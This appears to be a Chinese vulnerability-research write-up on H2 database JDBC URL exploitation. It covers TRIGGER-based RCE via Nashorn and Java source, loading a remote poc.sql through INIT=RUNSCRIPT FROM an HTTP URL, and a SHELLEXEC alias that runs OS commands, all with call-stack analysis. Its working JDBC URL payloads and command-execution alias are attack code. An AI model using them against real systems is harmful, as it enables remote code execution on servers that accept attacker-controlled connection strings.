JDBC H2 Attack#
H2#
$$ 在 h2 中代表设置函数
eval 执行变异好的 var3 名称的脚本
调用栈:
loadFromSource:102, TriggerObject (org.h2.schema)
load:82, TriggerObject (org.h2.schema)
setTriggerAction:144, TriggerObject (org.h2.schema)
setTriggerSource:137, TriggerObject (org.h2.schema)
update:117, CreateTrigger (org.h2.command.ddl)
update:198, CommandContainer (org.h2.command)
executeUpdate:251, Command (org.h2.command)
openSession:243, Engine (org.h2.engine)
createSessionAndValidate:171, Engine (org.h2.engine)
createSession:166, Engine (org.h2.engine)
createSession:29, Engine (org.h2.engine)
connectEmbeddedOrServer:340, SessionRemote (org.h2.engine)
<init>:173, JdbcConnection (org.h2.jdbc)
<init>:152, JdbcConnection (org.h2.jdbc)
connect:69, Driver (org.h2)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:8, H2
0x01 TRIGGER RCE#
javascript#
在 JDK15 中
JavaScript /Nashorn
引擎被彻底移除 (也就是jdk15
以上用不了//javascript
这种方式 rce,jsEngine会为null
然后空指针报错)
环境
jdk8u20
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>1.4.200</version>
</dependency>
import java.sql.DriverManager;
public class H2 {
public static void main(String[] args) throws Exception {
Class.forName("org.h2.Driver");
String simplexp2 ="jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS '//javascript\n" +
"Java.type(\"java.lang.Runtime\").getRuntime().exec(\"open -a Calculator\")'";
java.sql.Connection conn = DriverManager.getConnection(simplexp2);
}
}
H2 解析流程#
public JdbcConnection(String var1, Properties var2) throws SQLException {
this(new ConnectionInfo(var1, var2), true);
}
先进入new ConnectionInfo(var1, var2)
, 查看如何设置一些连接信息的
进入readSettingsFromURL
回去
name 为 url 中后半段值,然后会解析 name 值,
tcp:
和ssl:
会开启远程remote=true
, 后面一处remote
的判断会进行远程连接
mem
: 表示使用内存模式,数据库存储在内存中。test
: 连接数据库名称。
因为 poc 设置的是mem:
, 会让persistent = false;
, 这里也是有用的,因为后面存在调用getName()
,
如果persistent != false;
会对 name 进行检测,而且会刚好为 true, 然后抛错
它会检查 name
是否包含相对路径的标志(如 ./
、.\\
、:/
、:\\
等),并且 SysProperties.IMPLICIT_RELATIVE_PATH
是否为 false
。如果 name
不是绝对路径且不包含这些相对路径标志,则会抛出一个异常。
然后就回到new ConnectionInfo(var1, var2)
, 后面就只有一个convertPasswords
处理和转换密码,但这里没设置,没啥操作,到此解析连接信息部分结束
init#
获取到连接信息之后才开始连接的过程
反射加载 H2 数据库的引擎类,然后通过引擎类创建会话
调用 INSTANCE.createSessionAndValidate(ci)
方法来创建和验证会话,然后再进入 openSession(ci);
去除连接信息中的IFEXISTS(是否存在)、FORBID_CREATION(禁止连接)、IGNORE_UNKNOWN_SETTINGS、CIPHER(连接密码)、INIT
, 然后输入部分信息调用openSession
尝试打开会话
在另一个openSession
里面获取了DATABASES
名,并判断是否存在和forbidCreation
是否为 true, 如果都不满足就创建该数据库,后面也创建了 user 和 password, 并把mem:test
作为刚才创建数据库的键值,然后返回到原始的openSession
方法
如果init
变量不为空,则尝试执行初始化命令。
parseCreateTrigger:6655, Parser (org.h2.command)
parseCreate:6231, Parser (org.h2.command)
parsePrepared:903, Parser (org.h2.command)
parse:843, Parser (org.h2.command)
parse:815, Parser (org.h2.command)
prepareCommand:738, Parser (org.h2.command)
prepareLocal:657, Session (org.h2.engine)
prepareCommand:595, Session (org.h2.engine)
openSession:241, Engine (org.h2.engine)
初始化命令完成
然后来到TriggerObject#loadFromSource
, 调用执行
该函数是从源代码加载触发器对象,首先获取数据库的编译器实例,然后构建触发器的完整类名,即org.h2.dynamic.trigger.TRIG_JS
, setSource
将触发器的源代码设置为指定的类名,再检查触发器源代码是否为 JavaScript 源代码,如果是 JavaScript 源代码,编译并执行脚本。
然后先进入getCompiledScript()
这里 JDK15 中 JavaScript /Nashorn
引擎被彻底移除 (也就是 jdk15 以上用不了//javascript
这种方式 rce, jsEngine会为null
然后空指针报错)
再看一下是如何获取到 js 引擎的,
"nashorn", "Nashorn", "js", "JS", "JavaScript", "javascript", "ECMAScript", "ecmascript"
然后names
和我们传入的name
进行匹对,匹配到返回初始化的engine
但是这里需要注意,javascript 在前面也是有一个判断的:
小结#
这个攻击方式主要是靠java Trigger
(Java 触发器), 即执行后端 Java 代码逻辑的容器来 rce, init 的命令被读取了部分之后,将其当做Trigger
的Trigger源代码
, 然后使用对应引擎执行该源代码
编写 poc 主要看解析 sql 语句的过程
0x02 绕过 //javascript#
尝试注册引擎 (失败)#
因为 JDK15 之后用不了 javascript 了
上图是在 jdk17 获取 jsEngine 时,因为获取引擎为 null, 导致后续报错,因为在associations
中没有找到注册的引擎, 在 engineSpis
集合中没有发现的引擎
然后我找到了 jdk17 一个可以注册associations
的地方
但是需要看之前的 factory 是什么,然后查看 jdk8 使用的 factory 为NashornScriptEngineFactory
, 同时 spis 就是通过 get 其 name 来获取的
ScriptEngine engine = spi.getScriptEngine();
engine.setBindings(getBindings(), ScriptContext.GLOBAL_SCOPE);
return engine;
查看 jdk17 有哪些实现 factory 接口的类,可惜没有
主要是 jdk17 没有NashornScriptEngineFactory
和NashornScriptEngine
, 而且原始代码直接 new 了ScriptEngineManager
就去找引擎了,根本没有其他多的操作,这个流程你是不能控制的
控制生成 Trigger 代码#
import java.sql.DriverManager;
public class H2_Bypass {
public static void main(String[] args) throws Exception {
Class.forName("org.h2.Driver");
String simplexp = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$ void Unam4exp() throws Exception{ Runtime.getRuntime().exec(\"open -a calculator\")\\;}$$";
java.sql.Connection conn = DriverManager.getConnection(simplexp);
}
}
还是先查看解析 command 处
调用栈
parseCreateTrigger:6780, Parser (org.h2.command)
parseCreate:6355, Parser (org.h2.command)
parsePrepared:645, Parser (org.h2.command)
parse:581, Parser (org.h2.command)
parse:556, Parser (org.h2.command)
prepareCommand:484, Parser (org.h2.command)
prepareLocal:645, SessionLocal (org.h2.engine)
openSession:279, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:8, H2_Bypass
刚好与 poc 一一对应,然后再到最后触发处
fullClassName
和triggerSource
被装入到 compilter 中,在跟进getClass(className);
public Method getMethod(String className) throws ClassNotFoundException {
Class<?> clazz = getClass(className);
Method[] methods = clazz.getDeclaredMethods();
...
跟进getClass
, 然后直接到classLoader.loadClass(packageAndClassName);
通过getCompleteSourceCode()补全
完整的 class 文件的代码
, 包括package、className、sourcecode(poc中)
然后通过javaxToolsJavac
去加载那个 class, 然后 put 到一个 map 中,并返回
这个class对象
上面的调用栈:
findClass:151, SourceCompiler$1 (org.h2.util)
loadClass:592, ClassLoader (java.lang)
loadClass:525, ClassLoader (java.lang)
getClass:179, SourceCompiler (org.h2.util)
getMethod:244, SourceCompiler (org.h2.util)
loadFromSource:109, TriggerObject (org.h2.schema)
load:87, TriggerObject (org.h2.schema)
最后再调用invoke
触发恶意方法
0x03 INIT RunScript RCE#
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
poc.sql
DROP ALIAS IF EXISTS shell;
CREATE ALIAS shell AS $$void shell(String s) throws Exception {
java.lang.Runtime.getRuntime().exec(s);
}$$;
SELECT shell('open -a calculator');
调用栈
execute:93, RunScriptCommand (org.h2.command.dml)
update:71, RunScriptCommand (org.h2.command.dml)
update:139, CommandContainer (org.h2.command)
executeUpdate:304, Command (org.h2.command)
executeUpdate:248, Command (org.h2.command)
openSession:280, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:7, H2_3
通过 while 循环执行每一条 sql 语句,一次执行一条
$$ 逻辑#
查看如何解析得到command
的,调用栈
initialize:286, ParserBase (org.h2.command)
parse:552, Parser (org.h2.command)
prepareCommand:484, Parser (org.h2.command)
prepareLocal:645, SessionLocal (org.h2.engine)
openSession:279, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:7, H2_3
初始化
进入Tokenizer.tokenize
这就是解析 JDBC 字符串的关键了,会循环地去匹配字符开头:比如我们字符串为RUNSCRIPT FROM 'http://127.0.0.1:8080/poc.sql'
,开头 R 进入 case 调用 readR
readR 先调用 findIdentifierEnd 去查找 keyword 关键字,这里已经找到 RSCRIPT, 不过 RIGHT EOW ROWNUM 需要优先依次进行匹配,未匹配到最后调用 r eadIdentifierOrKeyword。这里就完成了提取 RUNSCRIPT
接着空格略过
From 关键字
当遇到单引号时会把里面的字符提出来,得到 tokens 如下:
查看$$
逻辑
其中sql.substring(stringStart, stringEnd)
就是我们定义的函数
绕过 $#
上面已经看到了 $ 是通过new Token.CharacterStringToken(i, sql.substring(stringStart, stringEnd), false);
添加的,搜索CharacterStringToken
可以发现在readCharacterString
也存在,而在case '\''
存在调用
所以把 poc.sql 中的 $$ 换成单引号也可以,所以 0x02 中也可以切换
poc 需要注意的问题#
如果我们正常些危险函数,是发现不能直接 rce 的,为什么作者在后面还添加了一个转译符呢,
String simplexp2 ="jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS ' void w0s1np() throws Exception{ Runtime.getRuntime().exec(\"open -a Calculator\")\\;}'";
可以看到传入 sql 的时候,多的那个转译符号已经没了,往前追溯
此时 ci 中的 originalURL 还是 jdbc:h2:mem;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS ' void w0s1np() throws Exception{ Runtime.getRuntime().exec("open -a Calculator");}'
如果不加转译符号呢
readSettingsFromURL:325, ConnectionInfo (org.h2.engine)
<init>:97, ConnectionInfo (org.h2.engine)
<init>:115, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:14, H2_1
因为以;为分割,导致原始 poc 中的危险函数被分为了两部分
添加两个转译符号即可
0x04 H2 数据库利用 ALIAS#
下载 jar, 我下的是最新版本的,要用 jdk17 启动,然后直接 Connect, 就有一个在线 h2 数据库了
/Library/Java/JavaVirtualMachines/jdk-17.jdk/Contents/Home/bin/java -cp h2-2.3.232.jar org.h2.tools.Server -web -webAllowOthers -ifNotExists
Web Console server running at http://192.168.1.148:8082 (others can connect)
回显#
DROP ALIAS IF EXISTS SHELLEXEC ;
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
//调用SHELLEXEC执行命令
CALL SHELLEXEC('whoami');
CALL SHELLEXEC('ifconfig');
0x05 参考#
https://xz.aliyun.com/news/15960?time__1311=eqUxnD0Gi%3DP4uDBqPdKGQGCYde0KqNDCAKeD
zjj